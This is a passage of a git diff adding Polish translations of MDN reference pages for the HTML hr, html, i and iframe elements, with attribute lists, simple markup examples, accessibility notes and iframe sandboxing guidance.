+<p> </p>
+
+<p> </p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Element <code><strong>&lt;hr&gt;</strong></code> reprezentuje zmianę tematu pomiędzy akapitami, np. zmiana sceny w powieści lub przejście do innego tematu w sekcji. W poprzednich wersjach HTML znacznik <code><strong>&lt;hr&gt;</strong></code> reprezentował poziomą linię. Niektóre przeglądarki nadal mogą wyświetlać go jako wypukłą lub wklęsłą linię, jednak ma on ściśle zdefiniowane semantyczne znaczenie i nie służy względom prezentacyjnym.</p>
+
+<h3 id="Atrybuty" name="Atrybuty">Atrybuty</h3>
+
+<dl>
+ <dt>align {{ Deprecated_inline() }}</dt>
+ <dd>Ustawia położenie na stronie. Jeśli wartość nie jest zdefiniowana, to domyślną wartością jest <code>left</code>.</dd>
+ <dt>color {{ Non-standard_inline() }}</dt>
+ <dd>Ustawia kolor linii poprzez podanie jego wartości hexadecymalnej lub nazwy.</dd>
+ <dt>noshade {{ Deprecated_inline() }}</dt>
+ <dd>Ustawia brak cieniowania linii.</dd>
+ <dt>size {{ Deprecated_inline() }}</dt>
+ <dd>Ustawia wysokość, podaną w pikselach.</dd>
+ <dt>width {{ Deprecated_inline() }}</dt>
+ <dd>Ustawia długość linii na stronie, którą podajemy w pikselach lub procentach.</dd>
+</dl>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre> &lt;p&gt;To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.
+ To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.&lt;/p&gt;
+
+ &lt;hr&gt;
+
+ &lt;p&gt;To jest drugi akapit tekstu. To jest drugi akapit tekstu.
+ To jest drugi akapit tekstu. To jest drugi akapit tekstu.&lt;/p&gt;
+</pre>
+
+<p>Powyższy HTML daje w rezultacie:</p>
+
+<p>To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu. To jest pierwszy akapit tekstu.</p>
+
+<hr>
+<p>To jest drugi akapit tekstu. To jest drugi akapit tekstu. To jest drugi akapit tekstu. To jest drugi akapit tekstu.</p>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>Nie jest to wymagane przez <a href="pl/HTML">HTML</a>, jednak w <a href="pl/XHTML">XHTML</a> linia pozioma musi mieć znacznik zamykający, więc znacznik tego elementu będzie wyglądał tak: <code><strong>&lt;hr /&gt;</strong></code>.</p>
+
+<p>Atrybut <code>color</code> zwykle działa w przeglądarkach, lecz nie jest on poprawny według specyfikacji HTML i XHTML. Autorzy stron, którzy troszczą się o poprawność ich stron, powinni użyć CSS do zdefiniowania koloru.</p>
+
+<p>{{ HTML:Element_Navigation() }}</p>
+
+<p>{{ languages( { "en": "en/HTML/Element/hr" } ) }}</p>
diff --git a/files/pl/web/html/element/html/index.html b/files/pl/web/html/element/html/index.html
new file mode 100644
index 0000000000..e6e932bdc1
--- /dev/null
+++ b/files/pl/web/html/element/html/index.html
@@ -0,0 +1,122 @@
+---
+title: '<html>: Dokument HTML / Element Nadrzędny'
+slug: Web/HTML/Element/html
+tags:
+ - Element
+ - HTML
+ - HTML Element Nadrzędny
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/html
+---
+<p>{{HTMLRef}}</p>
+
+<p><strong>Element HTML <code>&lt;html&gt;</code></strong> reprezentuje główny (nadrzędny) element dokumentu HTML, więc jest on również określany jako <em>element nadrzędny</em>. Wszystkie pozostałe elementy muszą być potomkami tego elementu.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th><a href="https://developer.mozilla.org/pl/docs/Web/Guide/HTML/Content_categories">Kategorie treści</a></th>
+ <td>Brak.</td>
+ </tr>
+ <tr>
+ <th>Dozwolona zawartość</th>
+ <td>Jeden element {{HTMLElement("head")}}, po którym następuje jeden element {{HTMLElement("body")}}.</td>
+ </tr>
+ <tr>
+ <th>Pominięcie znacznika</th>
+ <td>Znacznik startowy może zostać pominięty, jeśli pierwszą rzeczą wewnątrz elementu <code>&lt;html&gt;</code> nie jest komentarz. Znacznik końcowy może zostać pominięty, jeżeli po elemencie <code>&lt;html&gt;</code> nie nastąpi od razu komentarz.</td>
+ </tr>
+ <tr>
+ <th>Dozwoleni rodzice</th>
+ <td>Brak. To jest główny element dokumentu.</td>
+ </tr>
+ <tr>
+ <th>Dozwolone role ARIA</th>
+ <td>Brak</td>
+ </tr>
+ <tr>
+ <th>Interfejs DOM</th>
+ <td>{{domxref("HTMLHtmlElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element uwzględnia <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("manifest")}} {{obsolete_inline}}</dt>
+ <dd>Określa URI manifestu zasobów, wskazując zasoby, które powinny być buforowane lokalnie. Zobacz sekcję <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Zasoby_offline_w_Firefoksie">Korzystanie z pamięci podręcznej aplikacji</a> w celu uzyskania szczegółowych informacji.</dd>
+ <dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt>
+ <dd>Określa wersję {{glossary("DTD", "Definicji Typu Dokumentu")}} HTML, która reguluje bieżący dokument. Ten atrybut nie jest potrzebny, ponieważ jest zbędny w stosunku do informacji o wersji w deklaracji typu dokumentu.</dd>
+ <dt>{{htmlattrdef("xmlns")}}</dt>
+ <dd>Określa Przestrzeń Nazw XML dokumentu. Domyślną wartością jest <code>"http://www.w3.org/1999/xhtml"</code>. Jest to wymagane w dokumentach przetwarzanych formatem XML oraz opcjonalnie w dokumentach text/html.</dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="pl"&gt;
+  &lt;head&gt;...&lt;/head&gt;
+  &lt;body&gt;...&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Kwestie_dostępności">Kwestie dostępności</h2>
+
+<p>Nadanie atrybutu {{htmlattrxref("lang")}} z <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">poprawnym znacznikiem języka identyfikacyjnego IETF</a> w elemencie <code>html</code> pomoże w określeniu właściwego języka przez technologię odczytu ekranowego. Znacznik identyfikujący język powinien opisywać język używany przez większość treści strony. Bez niego, czytniki ekranu zazwyczaj domyślnie ustawiają język systemu operacyjnego, co może powodować błędne wymowy.</p>
+
+<p>Dołączenie poprawnej deklaracji <code>lang</code> w elemencie <code>html</code> zapewnia również, że ważne metadane zawarte w sekcji {{HTMLElement("head")}} strony, takie jak {{HTMLElement("title")}}, są również poprawnie ogłaszane.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.1_—_Readable_Make_text_content_readable_and_understandable">MDN Zrozumienie WCAG, Wytyczna 3.1 wyjaśnienia</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/meaning-doc-lang-id.html">Understanding Success Criterion 3.1.1 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>
+ <p>Dodano obsługę atrybutu <code>manifest</code> (wycofano później).</p>
+
+ <p>Przestarzały atrybut <code>version</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.3', '&lt;html&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Nieaktualny atrybut <code>version</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+
+
+<p>{{Compat("html.elements.html")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>Element najwyższego poziomu MathML: {{MathMLElement("math")}}</li>
+ <li>Element najwyższego poziomu SVG: {{SVGElement("svg")}}</li>
+</ul>
diff --git a/files/pl/web/html/element/i/index.html b/files/pl/web/html/element/i/index.html
new file mode 100644
index 0000000000..0eb0d9cc3b
--- /dev/null
+++ b/files/pl/web/html/element/i/index.html
@@ -0,0 +1,19 @@
+---
+title: i
+slug: Web/HTML/Element/i
+tags:
+ - HTML
+ - 'HTML:Opis_elementów'
+translation_of: Web/HTML/Element/i
+---
+<p> </p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Element <code>&lt;i&gt;...&lt;/i&gt;</code> powoduje wyświetlenie tekstu pisanego kursywą. </p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre class="brush: html">&lt;p&gt;To jest pierwsze wyrażenie. &lt;i&gt;Całe to wyrażenie jest napisane kursywą..&lt;/i&gt;&lt;/p&gt;
+</pre>
+<h4 id="Rezultat" name="Rezultat">Rezultat</h4>
+<p>To jest pierwsze wyrażenie. <em>Całe to wyrażenie jest napisane kursywą.</em></p><h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><a href="pl/HTML/Element/em">Znacznik <code><b>&lt;em&gt;</b></code></a>
+</p><p>{{ HTML:Element_Navigation() }}
+</p>{{ languages( { "en": "en/HTML/Element/i" } ) }}
diff --git a/files/pl/web/html/element/iframe/index.html b/files/pl/web/html/element/iframe/index.html
new file mode 100644
index 0000000000..19d9e9404e
--- /dev/null
+++ b/files/pl/web/html/element/iframe/index.html
@@ -0,0 +1,292 @@
+---
+title: '<iframe>: Element ramki iframe'
+slug: Web/HTML/Element/iframe
+tags:
+ - Element
+ - Frames
+ - HTML
+ - Inline Frames
+ - Reference
+ - Web
+ - iframe
+ - osadzanie
+ - osadzony
+ - ramki
+ - treść osadzana HTML
+ - treść osadzona
+translation_of: Web/HTML/Element/iframe
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>Element ramki Iframe HTML (<code>&lt;iframe&gt;</code>)</strong> reprezentuje zagnieżdżony {{Glossary("browsing context")}} poprzez osadzanie innej strony HTML w aktualnej.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/iframe.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Źródło niniejszego przykładu interaktywnego znajduje się w repozytorium na GitHubie. Jeśli chcesz mieć swój udział w tworzeniu tego przykładu, sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> i wyślij nam żądanie pull.</div>
+
+<p>Każdy osadzony, przeglądarkowy kontekst posiada własną <a href="/en-US/docs/Web/API/History">historię sesji</a> i interfejs <a href="/en-US/docs/Web/API/Document">document</a>. Kontekst przeglądarkowy, który umożliwia osadzanie innych stron nazywany jest <em>przeglądarkowym kontekstem-rodzicem </em>(<em><dfn>parent</dfn> browsing context</em>). <em>Najwyższy</em> kontekst przeglądarki — nieposiadający rodzica — to przeważnie okno przeglądarki reprezentowane przez objekt {{domxref("Window")}}.</p>
+
+<div class="blockIndicator warning">
+<p>Ponieważ każdy kontekt przeglądarkowy jest kompletnym środowiskiem dokumentu, każdy <code>&lt;iframe&gt;</code> na stronie wymaga zwiększenia pamięci i innych zasobów komputera. Teoretycznie możesz używać tyle <code>&lt;iframe&gt;</code>ów, ile sobie zamarzysz - sprawdź jednak, czy nie występują problemy z wydajnością.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Kategorie kontentu</a></th>
+ <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Treści płynne (flow content)</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">treści frazujące (phrasing content)</a>, treści osadzone, treści interaktywne, treści namacalne (palpable content).</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolone treści</th>
+ <td>Brak.</td>
+ </tr>
+ <tr>
+ <th scope="row">Pominięcie tagu</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwoleni rodzice</th>
+ <td>Każdy element, który akceptuje treści osadzone.</td>
+ </tr>
+ <tr>
+ <th scope="row">Dozwolone role ARIA</th>
+ <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">Interfejs DOM</th>
+ <td>{{domxref("HTMLIFrameElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Ten element zawiera <a href="/en-US/docs/Web/HTML/Global_attributes">atrybuty globalne</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("allow")}}</dt>
+ <dd>Określa <a href="/en-US/docs/Web/HTTP/Feature_Policy">reguły funkcji</a> dla <code>&lt;iframe&gt;</code>.</dd>
+ <dt>{{htmlattrdef("allowfullscreen")}}</dt>
+ <dd>Ustawiony na <code>true</code>, jeśli <code>&lt;iframe&gt;</code>może aktywować tryb na pełen ekran poprzez wywołanie metody {{domxref("Element.requestFullscreen", "requestFullscreen()")}}.</dd>
+ <dd>
+ <div class="note">Ten atrybut jest uznawany za przestarzały i przedefiniowany na <code>allow="fullscreen"</code>.</div>
+ </dd>
+ <dt>{{htmlattrdef("allowpaymentrequest")}}</dt>
+ <dd>Ustawiony na <code>true</code>, jeśli cross-originowy <code>&lt;iframe&gt;</code> powinien być dopuszczony do wywoływania <a href="/en-US/docs/Web/API/Payment_Request_API">Żądania Płatności (Payment Request) API</a>.</dd>
+ <dd>
+ <div class="note">Ten atrybut jest uznawany za przestarzały i przedefiniowany na <code>allow="payment"</code>.</div>
+ </dd>
+ <dt>{{htmlattrdef("csp")}} {{experimental_inline}}</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy</a> wymuszone dla zasobów osadzonych. Po więcej informacji sprawdź {{domxref("HTMLIFrameElement.csp")}}.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Wysokość ramki w pikselach CSS. Domyślna wartość to <code>150</code>.</dd>
+ <dt id="name-attribute">{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>Priorytet pobierania źródła w <code>&lt;iframe&gt;</code>'owym atrybucie <code>src</code>. Dopuszczone wartości:
+ <dl>
+ <dt><code>auto</code> (domyślna)</dt>
+ <dd>Bez preferencji. Przeglądarka używa własnych heurytystyk do decydowania o pierwszeństwie zasobu.</dd>
+ <dt><code>high</code></dt>
+ <dd>Zasób powinien zostać pobrany przed innymi zasobami stron o niższym priorytecie.</dd>
+ <dt><code>low</code></dt>
+ <dd>Zasób powinien zostać pobrany po innych zasobach stron o wyższym priorytecie.</dd>
+ </dl>
+ </dd>
+ <dt>{{htmlattrdef("loading")}} {{experimental_inline}}</dt>
+ <dd>Wskazuje, jak przeglądarka powinna ładować iframe:
+ <ul>
+ <li><code>eager</code>: Załaduj iframe niezwłocznie, niezależnie czy jest poza widocznym oknem podglądu (jest to wartość domyślna).</li>
+ <li><code><font face="consolas, Liberation Mono, courier, monospace">lazy</font></code>: Wstrzymaj ładowanie iframe póki nie osiągnie obliczonej odległości od okna podglądu, zgodnie z definicją przeglądarki.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Docelowa nazwa dla osadzonego kontektu przeglądarkowego. Może być używana w atrybucie <code>target</code> elementów {{HTMLElement("a")}}, {{HTMLElement("form")}} czy {{HTMLElement("base")}}; atrybut <code>formtarget</code> elementów {{HTMLElement("input")}} lub {{HTMLElement("button")}}; czy parametr <code>windowName</code> w metodzie {{domxref("Window.open()","window.open()")}}.</dd>
+ <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}}</dt>
+ <dd>Wskazuje, którego <a href="/en-US/docs/Web/API/Document/referrer">polecającego</a> wysłać podczas przechwytywania zasobów ramki:
+ <ul>
+ <li><code>no-referrer</code>: Nagłówek {{HTTPHeader("Referer")}} nie zostanie wysłany.</li>
+ <li><code>no-referrer-when-downgrade</code> (domyślny): Nagłówek {{HTTPHeader("Referer")}} nie zostanie wysłany do {{Glossary("origin")}}ów bez {{Glossary("TLS")}} ({{Glossary("HTTPS")}}).</li>
+ <li><code>origin</code>: Wysłany polecający zostanie ograniczony do originu strony odsyłającej: jej <a href="/en-US/docs/Archive/Mozilla/URIScheme">schematu</a>, {{Glossary("host")}}u, i {{Glossary("port")}}u.</li>
+ <li><code>origin-when-cross-origin</code>: Polecający wysłany do innych originów zostanie ograniczony do schematu, hostu i portu. Nawigacje o tym samym originie będą nadal zawierać ścieżkę.</li>
+ <li><code>same-origin</code>: Polecający zostanie wysłany przy {{Glossary("Same-origin policy", "same origin")}}, ale żądania cross-origin nie będą zawierać informacji polecającego.</li>
+ <li><code>strict-origin</code>: Wyśle origin dokumentu jako polecający tylko, gdy poziom bezpieczeństwa protokołu jest ten sam (HTTPS→HTTPS), nie wyśle do miejsca docelowego, jeśli jest mniej bezpieczne (HTTPS→HTTP).</li>
+ <li><code>strict-origin-when-cross-origin</code>: Wyśle pełen URL w przypadku żądania same-origin, wyśle origin tylko, jeśli poziom bezpieczeństwa protokołu jest ten sam (HTTPS→HTTPS) i nie wyśle nagłówka, jeśli miejsce docelowe jest mniej bezpieczne (HTTPS→HTTP).</li>
+ <li><code>unsafe-url</code>: Polecający będzie zawierać origin <em>oraz</em> ścieżkę (ale nie <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/hash">fragment</a>u, <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/password">hasła</a> czy <a href="/en-US/docs/Web/API/HTMLHyperlinkElementUtils/username">nazwy użytkownika</a>). <strong>Ta wartość nie jest bezpieczna</strong>, ponieważ pozwala na wyciek originów i ścieżek z zasobów chronionych TLS do originów niebezpiecznych.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sandbox")}}</dt>
+ <dd>Stosuje dodatkowe restrykcje wobec treści ramce. Wartość atrybutu może pozostać pusta (obowiązywać będą wszystkie restrykcje) lub tokeny odseprowane spacją, aby wymusić określone restrykcje:
+ <ul>
+ <li><code>allow-downloads-without-user-activation</code> {{experimental_inline}}: Zezwala na pobieranie bez zatwierdzenie przez użytkownika.</li>
+ <li><code>allow-forms</code>: Zezwala zasobom na zatwierdzanie formularzy. Jeśli niniejsze słowo kluczowe nie zostaje użyte, zatwierdzanie formularzy jest zablokowane.</li>
+ <li><code>allow-modals</code>: Pozwala zasobom na <a href="https://html.spec.whatwg.org/multipage/origin.html#sandboxed-modals-flag">otwieranie okienek modalnych</a>.</li>
+ <li><code>allow-orientation-lock</code>: Pozwala zasobom na <a href="/en-US/docs/Web/API/Screen/lockOrientation">zablokowanie orientacji wyświetlacza</a>.</li>
+ <li><code>allow-pointer-lock</code>: Pozwala zasobom na używanie <a href="/en-US/docs/WebAPI/Pointer_Lock">Pointer Lock API</a>.</li>
+ <li><code>allow-popups</code>: Pozwala na wyskakujące okienka/otwieranie kart (jak np. <code>window.open()</code>, <code>target="_blank"</code> czy <code>showModalDialog()</code>). Jeśli niniejsze słowo kluczowe nie zostaje użyte, popupy nie zostaną otwarte.</li>
+ <li><code>allow-popups-to-escape-sandbox</code>: Pozwala dokumentowi w piaskownicy (sandbox) na otwieranie nowych okien bez dziedziczenia przez nie sandboxingu. Dzięki temu możliwe jest np. sandboxowanie reklamy bez wymuszania tej samej restrykcji na stronie, do której prowadzi link z tej reklamy.</li>
+ <li><code>allow-presentation</code>: Pozwala zasobom uruchomić <a href="/en-US/docs/Web/API/PresentationRequest">sesję prezentacji</a>.</li>
+ <li><code>allow-same-origin</code>: Jeśli ten token nie jest użyty, zasób jest traktowany jako pochodzący ze specjalnego źródła, które nie spełnia wymogów {{Glossary("same-origin policy")}}.</li>
+ <li><code>allow-scripts</code>: Pozwala zasobom na uruchomienie skryptów (ale nie na tworzenie wyskakujących okienek).</li>
+ <li><code>allow-storage-access-by-user-activation</code> {{experimental_inline}}: Pozwala zasobom na żądanie dostępu do pamięci masowej rodzica poprzez <a href="/en-US/docs/Web/API/Storage_Access_API">Storage Access API</a>.</li>
+ <li><code>allow-top-navigation</code>: Pozwala zasobom na nawigację kontekstu najwyższego poziomu przeglądarki (<code>_top</code>).</li>
+ <li><code>allow-top-navigation-by-user-activation</code>: Pozwala zasobom na nawigację kontekstu najwyższego poziomu przeglądarki, ale jedynie gdy akcja zainicjowana jest przez gest użytkownika.</li>
+ </ul>
+
+ <div class="note"><strong>Notka o sandboxingu:</strong>
+
+ <ul>
+ <li>Jeśli dokument osadzony jest tego samego pochodzenia, jak strona osadzająca <strong>mocno odradza się</strong> używania <code>allow-scripts</code> i <code>allow-same-origin</code>, ponieważ pozwala to osadzonemu dokumentowi na usunięcie atrybutu <code>sandbox</code>, sprawiając tym samym, że jest on tak samo niezabezpieczony, jak dokument nie używający w ogóle atrybutu <code>sandbox</code>.</li>
+ <li>Sandboxing jest bezużyteczny, jeśli atakujący może wyświetlać zawartość poza sandboxowanym <code>iframe</code> — np. jeśli przeglądarka otwiera ramkę na nowej karcie. Tego typu treść musi zatem być dostarczana z <em>oddzielnego źródła</em>, aby ograniczyć zasięg potencjalnych szkód.</li>
+ <li>Atrybut <code>sandbox</code> nie jest wspierany w Internet Explorer 9 i wcześniejszych wersjach.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>URL strony do osadzenia. Użyj wartości <code>about:blank</code> do osadzenia pustej strony, co jest zgodne z polityką <a href="/en-US/docs/Web/Security/Same-origin_policy#Inherited_origins">same-origin</a>. Wiedz, że programowo usuwanie atrybutu src <code>&lt;iframe&gt;</code>'u (np. poprzez {{domxref("Element.removeAttribute()")}}) powoduje załadowanie <code>about:blank</code> w ramce w Firefoxie (from version 65), przeglądarkach na Chromium i Safari/iOS.</dd>
+ <dt>{{htmlattrdef("srcdoc")}}</dt>
+ <dd>Osadzenie treści HTML poprzed nadpisanie atrybutu <code>src</code>. Jeśli przeglądarka nie wspiera atrybutu <code>srcdoc</code>, odwoła się do URL z atrybutu <code>src</code>.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Szerokość ramki w pikselach CSS. Domyślna wartość to <code>300</code>.</dd>
+</dl>
+
+<h3 id="Nieużywane_atrybuty">Nieużywane atrybuty</h3>
+
+<p>Poniższe atrybuty są przestarzałe i mogą nie być już dłużej wspierane przez przeglądarki użytkowników. Nie powinno się ich używać przy tworzeniu nowych treści oraz powinno się możliwie usuwać z już istniejących treści.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Wyrównanie elementu z uwzględnieniem kontekstu.</dd>
+ <dt>{{htmlattrdef("frameborder")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Wartość <code>1</code> (domyślna) rysuje krawędź wokół tej ramki. Wartość <code>0</code> usuwa krawędź wokół tej ramki, ale zamiast tego rozwiązania do kontroli krawędzi <code>&lt;iframe&gt;</code> powinno się używać własności CSS {{cssxref("border")}}.</dd>
+ <dt>{{htmlattrdef("longdesc")}} {{obsolete_inline("html5")}}</dt>
+ <dd>URL długiego opisu zawartości ramki. Z powodu częstego nadużywania nie jest przydatny w przypadku przeglądarek niewizualnych.</dd>
+ <dt>{{htmlattrdef("marginheight")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Rozmiar obszaru mierzony w pikselach pomiędzy zawartością ramki oraz jej górną i dolną krawędzią.</dd>
+ <dt>{{htmlattrdef("marginwidth")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Rozmiar obszaru mierzony w pikselach pomiędzy zawartością ramki oraz jej lewą i prawą krawędzią.</dd>
+ <dt>{{htmlattrdef("scrolling")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Wskazuje, kiedy przeglądarka powinna zapewnić pasek przewijania dla ramki:
+ <ul>
+ <li><code>auto</code>: Tylko, jeśli zawartość ramki jest większa niż jej wymiary.</li>
+ <li><code>yes</code>: Zawsze pokazuj pasek przewijania.</li>
+ <li><code>no</code>: Nigdy nie pokazuj paska przewijania.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Atrybuty_niestandardowe_non-standard_inline">Atrybuty niestandardowe {{non-standard_inline}}</h3>
+
+<dl>
+ <dt>{{htmlattrdef("mozbrowser")}} {{non-standard_inline}}</dt>
+ <dd>
+ <div class="note">Sprawdź podatności {{bug(1318532)}} WebExtensions w Firefox.</div>
+ Sprawia, że <code>&lt;iframe&gt;</code> zachowuje się jak okienko najwyższego poziomu przeglądarki. Sprawdź <a href="/en-US/docs/Mozilla/Gecko/Chrome/API/Browser_API">Browser API</a> by dowiedzieć się więcej informacji.<br>
+ <strong>Dostępne tylko dla <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>.</strong></dd>
+</dl>
+
+<h2 id="Skrypty">Skrypty</h2>
+
+<p>Ramki, jak elementy {{HTMLElement("frame")}} znajdują się w pseudo-tablicy {{domxref("window.frames")}}.</p>
+
+<p>Poprzez obiekt DOM {{domxref("HTMLIFrameElement")}}, skrypty zyskują dostęp do obiektu {{domxref("window")}} zasobu w ramce poprzez własność {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}}. Własność {{domxref("HTMLIFrameElement.contentDocument", "contentDocument")}} odnosi się do <code>document</code> wewnątrz <code>&lt;iframe&gt;</code>, podobnie jak <code>contentWindow.document</code>.</p>
+
+<p>Z wnętrzna ramki skrypt może uzyskać odsyłacz do jej okna-rodzica poprzez {{domxref("window.parent")}}.</p>
+
+<p>Dostęp skryptu do treści ramki stanowi temat {{Glossary("same-origin policy")}}. Skrypty nie mogą uzyskiwać dostępu do większości własności w innych obiektach <code>window</code>, jeśli skrypt został załadowany z innego źródła, w tym skrypty wewnątrz ramki mające dostęp do rodzica ramki. Komunikacja cross-origin może być osiągnięta poprzez użycie {{domxref("Window.postMessage()")}}.</p>
+
+<h2 id="Pozycjonowanie_i_skalowanie">Pozycjonowanie i skalowanie</h2>
+
+<p>Jako <a href="/en-US/docs/Web/CSS/Replaced_element">element zastąpiony</a>, pozycjonowanie, wyrównywanie i skalowanie osadzonego dokumentu wewnątrz okna elementu <code>&lt;iframe&gt;</code> może być określane poprzez właściwości {{cssxref("object-position")}} oraz {{cssxref("object-fit")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Example1" name="Example1">Prosty <code>&lt;iframe&gt;</code></h3>
+
+<p><code>&lt;iframe&gt;</code> w akcji. Po utworzeniu ramki, kiedy użytkownik klika na przycisk jego tytuł jest wyświetlany w alercie.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<div id="htmlOutputWrapper">
+<pre class="brush: html">&lt;iframe src="https://mdn-samples.mozilla.org/snippets/html/iframe-simple-contents.html" title="iframe Example 1" width="400" height="300"&gt;&lt;/iframe&gt;</pre>
+</div>
+
+<h4 id="Rezultat">Rezultat</h4>
+
+<p>{{ EmbedLiveSample('Example1', 640,400)}}</p>
+
+<h3 id="Example2" name="Example2">Otwórz link w <code>&lt;iframe&gt;</code> w innej karcie</h3>
+
+<p>W niniejszym przykładzie mapa Google jest wyświetlana w ramce;</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;iframe id="Example2"
+ title="iframe Example 2"
+ width="400" height="300"
+ style="border:none"
+ src="https://maps.google.com/maps?f=q&amp;source=s_q&amp;q=buenos+aires&amp;sll=37.0625,-95.677068&amp;sspn=38.638819,80.859375&amp;t=h&amp;hnear=Buenos+Aires,+Argentina&amp;z=11&amp;ll=-34.603723,-58.381593&amp;output=embed"&gt;
+&lt;/iframe&gt;
+</pre>
+
+<h4 id="Rezultat_2">Rezultat</h4>
+
+<p>{{ EmbedLiveSample('Example2', 640, 400)}}</p>
+
+<h2 id="Obawy_dot._dostępności">Obawy dot. dostępności</h2>
+
+<p>Osoby poruszające się poprzez technologię wspierającą, jak czytniki ekranowe mogą używać <a href="/en-US/docs/Web/HTML/Global_attributes/title">atrybutu</a> <a href="/en-US/docs/Web/HTML/Global_attributes/title"><code>title</code> </a>na <code>iframe</code>'ie do oznaczania jego treści. Wartość tytułu powinna w zwięzły sposób opisywać osadzoną treść:</p>
+
+<div id="htmlOutputWrapper">
+<pre class="brush: html">&lt;iframe title="Wikipedia page for Avocados" src="https://en.wikipedia.org/wiki/Avocado"&gt;&lt;/iframe&gt;</pre>
+</div>
+
+<p>Jeśli tytuł nie został określony, wspomniane osoby mogą wchodzić wewnątrz <code>iframe</code>, żeby dowiedzieć się czym dokładniej jest osadzona zawartość. Tego typu zmiana kontekstu może prowadzić do nieporozumień i niepotrzebnie zabierać czas, szczególnie w przypadku stron o wielu <code>&lt;iframe&gt;</code>'ach i/lub jeśli treść osadzona zawiera interaktywne zasoby, jak video czy audio.</p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
